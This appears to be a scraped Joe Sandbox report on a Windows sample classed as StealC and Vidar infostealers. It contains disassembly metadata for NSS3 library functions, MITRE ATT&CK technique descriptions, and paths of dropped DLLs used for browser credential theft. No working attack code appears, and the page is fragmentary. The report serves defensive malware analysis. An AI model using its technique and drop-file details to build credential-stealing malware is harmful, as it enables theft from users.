Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: b8c2afe6525a1acae62d6f1e1fbf7d4e661babb0bd20fc33e1848e4fcbf8c6d9
Instruction ID: f3073532db0d69003b4f21911bb83211dddbfb5cc3d21d2ed669e7ef13d2a519
Opcode Fuzzy Hash: b8c2afe6525a1acae62d6f1e1fbf7d4e661babb0bd20fc33e1848e4fcbf8c6d9
Instruction Fuzzy Hash: 5D31FCB2D042186BEB10ABE19C05BFF77A8DF45308F150469ED159B781EB709D06CBAA

Function 6C6C4CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8ll,00000000,00000000,?,?,6C6C3827,?,00000000), ref: 6C6C4D0A

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C6C4D22

Part of subcall function 6C6AFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C651A3E,00000048,00000054), ref: 6C6AFD56

Strings

'8ll, xrefs: 6C6C4D07

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8ll
API String ID: 1521942269-3147167083
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: e9c045571cb0dc53a02a19017d26fc9ed9119a401a2e55a1fbcf3640a8849614
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: FEF0687270112467DB10AE6A9C4077736DCDB417BDF141271DD18DB781E6B1EC018697

Function 6C6EAF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C6EAF78

Part of subcall function 6C64ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64ACE2
Part of subcall function 6C64ACC0: malloc.MOZGLUE(00000001), ref: 6C64ACEC
Part of subcall function 6C64ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C64AD02
Part of subcall function 6C64ACC0: TlsGetValue.KERNEL32 ref: 6C64AD3C
Part of subcall function 6C64ACC0: calloc.MOZGLUE(00000001,?), ref: 6C64AD8C
Part of subcall function 6C64ACC0: PR_Unlock.NSS3 ref: 6C64ADC0
Part of subcall function 6C64ACC0: PR_Unlock.NSS3 ref: 6C64AE8C
Part of subcall function 6C64ACC0: free.MOZGLUE(?), ref: 6C64AEAB

memcpy.VCRUNTIME140(6C7B3084,6C7B02AC,00000090), ref: 6C6EAF94

Strings

SSL, xrefs: 6C6EAF73

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 633dbb0f5b8fcf0114b94b5aaec388b656231d5fef2f48eb3fc923ca137bf525
Instruction ID: 79e1a2b9a945a7cdd6da3c25da324d2b87b92f674a031850191d99d355ed7790
Opcode Fuzzy Hash: 633dbb0f5b8fcf0114b94b5aaec388b656231d5fef2f48eb3fc923ca137bf525
Instruction Fuzzy Hash: 09217BB264EB49EFCA01DF11A547B127E73BF4A308710512AD52A4BB28DB3151889FDD

Function 6C640F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F1B

Part of subcall function 6C641370: GetSystemInfo.KERNEL32(?,?,?,?,6C640936,?,6C640F20,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000), ref: 6C64138F

PR_NewLogModule.NSS3(clock,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F25

Part of subcall function 6C641110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C640936,00000001,00000040), ref: 6C641130
Part of subcall function 6C641110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C640936,00000001,00000040), ref: 6C641142
Part of subcall function 6C641110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C640936,00000001), ref: 6C641167

Strings

clock, xrefs: 6C640F20

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 7bd507447a5f1976987e775707a9416c202bbc8fe3c1cec1b89e647f1d5c469a
Instruction ID: 1844423cb9bcfea72ee5bdbefba9bbbadc5b925da43fda4c14c0cdf3bf9e1e7c
Opcode Fuzzy Hash: 7bd507447a5f1976987e775707a9416c202bbc8fe3c1cec1b89e647f1d5c469a
Instruction Fuzzy Hash: 48D0123160915495C7116B979C45F96BABCC7C367AF10CC76E22842D104A6450FAD36D

Function 6C6B0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C6B0DF5
TlsGetValue.KERNEL32 ref: 6C6B0E2D
TlsGetValue.KERNEL32 ref: 6C6B0E58
TlsGetValue.KERNEL32 ref: 6C6B0E84

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 462e8037a07cfb7133b150dfb5c5bd2667d678f7e5131b59f1a70f5412d4b6ec
Instruction ID: 744a035fe7b52c0740bfd871d8ace85b4727ddb01dd1260ce638e671f2d8d351
Opcode Fuzzy Hash: 462e8037a07cfb7133b150dfb5c5bd2667d678f7e5131b59f1a70f5412d4b6ec
Instruction Fuzzy Hash: B731E8F0645391CBDB005F78D6446A97FB4BF06348F118679E88897A11EB30D4A7CB89

Function 6C6B0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C652AF5,?,?,?,?,?,6C650A1B,00000000), ref: 6C6B0F1A
malloc.MOZGLUE(00000001), ref: 6C6B0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C6B0F42
TlsGetValue.KERNEL32 ref: 6C6B0F5B

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: b39978b4c5730ffdd7426da3ea2737f22db2630b4c39097ec18d18a8074fedac
Instruction ID: ae60cf500922c526f57c7762f5cf6f2db0444915f73aba98d3560a5850282183
Opcode Fuzzy Hash: b39978b4c5730ffdd7426da3ea2737f22db2630b4c39097ec18d18a8074fedac
Instruction Fuzzy Hash: 8001DDF1F002506BE7101B3A9F049A67E6CEF52399F014171ED18D6A11EB31C465C7EA

Function 6C661EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C661ECE
free.MOZGLUE(?), ref: 6C661EDF
free.MOZGLUE(?), ref: 6C661EEF
free.MOZGLUE(?), ref: 6C661EF5

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 716390ef8a932694d11d5bf0a2beb0bdae00bd7f98d0cc809d6825187ef5dd7e
Instruction ID: e77b6c7f75642fe41c21af48cc66097eca8c0b5c486f7411565774c262e82046
Opcode Fuzzy Hash: 716390ef8a932694d11d5bf0a2beb0bdae00bd7f98d0cc809d6825187ef5dd7e
Instruction Fuzzy Hash: 09F054B17005056BEB009BA6EC45E6773ACFF45695B140435EC19C3E00D726F51596A6

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BGIJDGCAEBFIIECAKFHI

C:\ProgramData\BKJDGCGD

C:\ProgramData\DGCBKECA

C:\ProgramData\DHDBGHCBAEGCBFHJEBFI

C:\ProgramData\EGIDAAFIEHIEHJKFHCAEGCBFHJ

C:\ProgramData\HCBAKJEHDBGHIEBGCGDGHCAKEB

C:\ProgramData\JEBKJDAFHJDGDHJKKEGI

C:\ProgramData\chrome.dll

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre